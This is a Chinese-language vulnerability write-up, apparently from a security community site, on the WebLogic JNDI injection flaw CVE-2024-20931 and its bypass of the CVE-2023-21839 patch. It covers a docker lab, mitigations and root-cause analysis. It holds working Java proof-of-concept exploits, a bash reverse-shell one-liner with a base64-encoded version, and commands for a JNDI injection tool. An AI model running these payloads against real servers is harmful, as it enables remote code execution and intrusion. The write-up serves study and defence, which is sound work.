CVE-2024-20931全面分析

xhys121zero2026-04-13文章来源:SecHub网络安全社区


CVE-2024-20931全面分析

0x01 简介

WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

0x02 漏洞概述

CVE-2024-20931 是一个影响版本为12.2.1.4.0 和 14.1.1.0.0的漏洞。该漏洞允许未经认证的攻击者通过T3或IIOP协议访问网络,利用该漏洞可导致未经授权的访问,进而获取服务器上的所有可访问数据。

0x03 影响版本

12.2.1.4.0 和 14.1.1.0.0

0x04 环境搭建

docker拉取镜像

docker pull ismaleiva90/weblogic12

启动环境

docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest

访问7001,加/console就是weblogic的控制页面

image20240715123822157.png

0x05 漏洞复现

该漏洞的POC

package com.supeream; import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.Context; import javax.naming.InitialContext; import java.lang.reflect.Field; import java.util.Hashtable; public class CVE_2024_209321 { public static void main(String[] args) throws Exception { String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; // 创建用来远程绑定对象的InitialContext String url = "t3://192.168.86.6:7001"; // 目标机器 Hashtable env1 = new Hashtable(); env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env1.put(Context.PROVIDER_URL, url); // 目标 InitialContext c = new InitialContext(env1); // ForeignOpaqueReference的jndiEnvironment属性 Hashtable env2 = new Hashtable(); env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory"); env2.put("datasource", "rmi://jwbye8.dnslog.cn/mt"); // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性 ForeignOpaqueReference f = new ForeignOpaqueReference(); Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f, env2); Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); remoteJNDIName.setAccessible(true); String ldap = "rmi://jwbye8.dnslog.cn/mt"; remoteJNDIName.set(f, ldap); // 远程绑定ForeignOpaqueReference对象 c.rebind("glassy", f); // lookup查询ForeignOpaqueReference对象 try { c.lookup("glassy"); } catch (Exception e) { } } }

编码一下

bash -i >& /dev/tcp/攻击机ip/攻击机端口 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuNDguMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

image20240715174323930.png

在线编码工具:https://ares-x.com/tools/runtime-exec

运行JNDI注入工具:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编 码后的反弹Shell命令" -A "攻击机IP"

利用CVE-2024-20931.jar工具

工具链接:https://github.com/dinosn/CVE-2024-20931

开启监听4444端口,反弹shell

image20240715174714578.png

0x06 修复方式

1.升级到官方提供的安全版本:

Oracle 通常会发布补丁来修复已知漏洞,建议用户及时应用这些补丁。

2.限制网络访问:

使用防火墙或访问控制列表(ACL)限制对 WebLogic Server 的网络访问,特别是 T3 和 IIOP 协议端口。

3.禁用不必要的协议:

如果不需要使用 T3 或 IIOP 协议,可以在 WebLogic Server 配置中禁用这些协议。

4.监控系统日志:

实时监控 WebLogic Server 的系统日志,检测异常的访问和操作行为。

二、其他防护措施

如非必要,可以选择禁用T3 协议、IIOP协议。

禁用T3协议:

1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

  1. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl

在连接筛选器规则中输入:

127.0.0.1 * * allow t3 t3s

0.0.0.0/0 * * deny t3 t3s  (注:t3和t3s协议的所有端口只允许本地访问)。

3)保存后需重禁用IIOP协议:

在WebLogic控制台中,选择【环境】>>【服务器】>>点击【AdminServer(管理)】>>【协议】>>【IIOP】,取消勾选“启用IIOP”,保存并重启WebLogic项目。新启动,规则方可生效。

0x07 漏洞分析

原理上属于CVE-2023-21839补丁的绕过

CVE-2023-21839简单分析

我们将remoteObject替换成一个ForeignOpaqueReference对象,

由于ForeignOpaqueReference集成自OpaqueReference,

进行lookup的时候会调用对象getReferent方法。

最终会调用context.lookup(evalMacros(this.remoteJNDIName));

对remoteJNDIName值更改为ldap远程执行地址即可实现RCE。

然后,加上jndiEnvironment的检测,所以ForeignOpaqueReference对象绑定时候,对remoteJNDIName值做反射修改即可。

package org.example.CVE202321839; import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.Context; import javax.naming.InitialContext; import java.lang.reflect.Field; import java.util.Hashtable; import java.util.Properties; public class Main { public static void main(String[] args) throws Exception { Properties props = new Properties(); props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory"); props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001"); Context context = new InitialContext(props); ForeignOpaqueReference f = new ForeignOpaqueReference(); Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); remoteJNDIName.setAccessible(true); String ldap = "ldap://xxxxxx:1389/Basic/ReverseShell/xxxx/12345"; remoteJNDIName.set(f, ldap); context.rebind("sectest", f); try { context.lookup("sectest"); } catch (Exception e) { } } }

CVE-2023-21839补丁

补丁对ForeignOpaqueReference的jndiEnvironment和remoteJNDIName都做了限制。

CVE-2024-20931JNDI的新攻击面

INITIAL_CONTEXT_FACTORY是 JNDI API 中的一个常量,用于指定要使用的初始上下文工厂类。它在创建 JNDI 上下文对象时使用,用于指定要使用的上下文工厂类。AQjmsInitialContextFactory在初始化的时候,需要通过JNDI去获取远程的DataSource,通过这个初始化也可以发起JNDI注入。

package org.example.CVE202420931; import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.Context; import javax.naming.InitialContext; import java.lang.reflect.Field; import java.util.Hashtable; import java.util.Properties; public class Main { public static void main(String[] args) throws Exception { Properties props = new Properties(); props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory"); props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001"); Context context = new InitialContext(props); Hashtable env2 = new Hashtable(); env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory"); env2.put("datasource", "ldap://xxxxx:1389/Basic/ReverseShell/xxxx/12347"); ForeignOpaqueReference f = new ForeignOpaqueReference(); Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f, env2); context.rebind("sectest", f); try { context.lookup("sectest"); } catch (Exception e) { } } }

总结

这个漏洞相比于之前的JNDI注入,不是在lookup这个JNDI注入的关键函数上寻求突破,而是把关注点侧重于Context的初始化阶段,从而绕过了上一个漏洞的补丁,个人感觉还是比较有意思的一个漏洞,Oracle在后续的补丁中又对java.naming.factory.initial的设置做了验签处理,毫无疑问,还是有一些jndiEnvironment可以进行设置的,至于能不能去找到新的绕过,则需要更深一步的研究。

0x08 参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-20931

https://www.oracle.com/security-alerts/cpujan2024.html

https://www.freebuf.com/vuls/392043.html

https://www.cnblogs.com/Minarui/p/18057675

https://www.cnblogs.com/vpandaxjl/p/18026030

Checklist

CVE-2014-4210

CVE-2017-10271

CVE-2018-2894

CVE-2020-14882

CVE-2020-14883

CVE-2018-2628

CVE-2020-2551

CVE-2021-2109

CVE-2023-21839

CVE-2024-20931